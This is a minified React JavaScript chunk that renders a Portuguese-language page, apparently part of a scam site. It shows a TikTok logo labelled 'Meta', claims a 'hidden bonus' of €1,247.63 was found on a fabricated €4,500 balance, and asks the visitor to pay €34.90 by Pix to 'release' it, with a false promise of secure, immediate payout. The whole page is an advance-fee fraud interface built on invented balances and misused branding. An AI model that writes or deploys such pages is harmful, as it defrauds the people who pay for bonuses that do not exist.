import{s as a,o as p,j as e}from"./index--4YE7lK8.js";import{t as u}from"./tiktok-logo-full-DIcxqYI2.js";import{u as f,L as h}from"./use-pix-payment-C3-4S04C.js";import{P as j}from"./PixPaymentPopup-C8F4Odni.js";import{C as b}from"./credit-card-BQ1FZ1WI.js";import{Z as y}from"./zap-00Hh9blk.js";/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const N=a("EyeOff",[["path",{d:"M10.733 5.076a10.744 10.744 0 0 1 11.205 6.575 1 1 0 0 1 0 .696 10.747 10.747 0 0 1-1.444 2.49",key:"ct8e1f"}],["path",{d:"M14.084 14.158a3 3 0 0 1-4.242-4.242",key:"151rxh"}],["path",{d:"M17.479 17.499a10.75 10.75 0 0 1-15.417-5.151 1 1 0 0 1 0-.696 10.75 10.75 0 0 1 4.446-5.143",key:"13bj9a"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]]);/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const g=a("Gift",[["rect",{x:"3",y:"8",width:"18",height:"4",rx:"1",key:"bkv52"}],["path",{d:"M12 8v13",key:"1c76mn"}],["path",{d:"M19 12v7a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2v-7",key:"6wjy6b"}],["path",{d:"M7.5 8a2.5 2.5 0 0 1 0-5A4.8 8 0 0 1 12 8a4.8 8 0 0 1 4.5-5 2.5 2.5 0 0 1 0 5",key:"1ihvrl"}]]);/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const k=a("Star",[["path",{d:"M11.525 2.295a.53.53 0 0 1 .95 0l2.31 4.679a2.123 2.123 0 0 0 1.595 1.16l5.166.756a.53.53 0 0 1 .294.904l-3.736 3.638a2.123 2.123 0 0 0-.611 1.878l.882 5.14a.53.53 0 0 1-.771.56l-4.618-2.428a2.122 2.122 0 0 0-1.973 0L6.396 21.01a.53.53 0 0 1-.77-.56l.881-5.139a2.122 2.122 0 0 0-.611-1.879L2.16 9.795a.53.53 0 0 1 .294-.906l5.165-.755a2.122 2.122 0 0 0 1.597-1.16z",key:"r04s7s"}]]),v=[{icon:N,title:"Bônus oculto",desc:"Disponível apenas para contas selecionadas"},{icon:k,title:"Conta premium",desc:"Acesso vitalício a recompensas exclusivas"},{icon:y,title:"Saque prioritário",desc:"Processamento em até 5 minutos"}],D=()=>{const s=p().state,{loading:r,pixData:o,copied:n,pixTimer:i,pixRef:l,handlePay:c,handleCopy:d}=f({amountInCents:3490,redirectTo:"/",customerData:s==null?void 0:s.customerData,extraState:{customerData:s==null?void 0:s.customerData}});return e.jsxs("div",{className:"min-h-screen bg-card flex flex-col max-w-[430px] mx-auto",children:[e.jsx("header",{className:"w-full bg-card border-b border-border flex justify-center items-center py-4 sticky top-0 z-50",children:e.jsx("img",{src:u,alt:"Meta",className:"h-[24px] w-auto"})}),e.jsxs("div",{className:"flex-1 p-5 space-y-4",children:[e.jsxs("div",{className:"flex flex-col items-center gap-3 py-4",children:[e.jsx("div",{className:"w-20 h-20 rounded-full bg-pink/10 flex items-center justify-center",children:e.jsx(g,{size:40,className:"text-pink"})}),e.jsx("h2",{className:"text-xl font-bold text-foreground text-center",children:"Bônus Oculto Encontrado!"}),e.jsx("p",{className:"text-sm text-muted-foreground text-center",children:"Um bônus especial foi desbloqueado na sua conta"})]}),e.jsxs("div",{className:"bg-pink/5 border border-pink/20 rounded-2xl p-5 text-center",children:[e.jsx("p",{className:"text-sm text-muted-foreground mb-1",children:"Valor do bônus"}),e.jsx("p",{className:"text-3xl font-black text-pink",children:"€ 1.247,63"})]}),e.jsxs("div",{className:"bg-muted/30 border border-border rounded-2xl p-4 space-y-2",children:[e.jsxs("div",{className:"flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground",children:"Saldo anterior"}),e.jsx("span",{className:"text-foreground font-semibold",children:"€ 4.500,00"})]}),e.jsxs("div",{className:"flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground",children:"Bônus oculto"}),e.jsx("span",{className:"text-pink font-semibold",children:"+ € 1.247,63"})]}),e.jsxs("div",{className:"border-t border-border pt-2 flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground font-semibold",children:"Total"}),e.jsx("span",{className:"text-green-500 font-bold text-base",children:"€ 5.747,63"})]})]}),e.jsx("div",{className:"space-y-3",children:v.map((t,x)=>{const m=t.icon;return e.jsxs("div",{className:"flex items-start gap-3 p-3 bg-muted/20 rounded-xl",children:[e.jsx("div",{className:"w-9 h-9 rounded-lg bg-pink/10 flex items-center justify-center shrink-0",children:e.jsx(m,{size:18,className:"text-pink"})}),e.jsxs("div",{children:[e.jsx("p",{className:"text-sm font-semibold text-foreground",children:t.title}),e.jsx("p",{className:"text-xs text-muted-foreground",children:t.desc})]})]},x)})}),e.jsx("button",{onClick:c,disabled:r,className:"w-full h-[52px] bg-pink text-white font-bold text-[15px] rounded-2xl flex items-center justify-center gap-2 active:scale-[0.98] transition-all disabled:opacity-70 shadow-lg shadow-pink/20",children:r?e.jsx(h,{size:20,className:"animate-spin"}):e.jsxs(e.Fragment,{children:[e.jsx(b,{size:18}),"LIBERAR MEU BÔNUS AGORA · € 34,90"]})}),e.jsx("p",{className:"text-[11px] text-center text-muted-foreground",children:"🔒 Pagamento seguro · Liberação imediata"})]}),o&&e.jsx(j,{ref:l,pixData:o,copied:n,pixTimer:i,onCopy:d})]})};export{D as default};
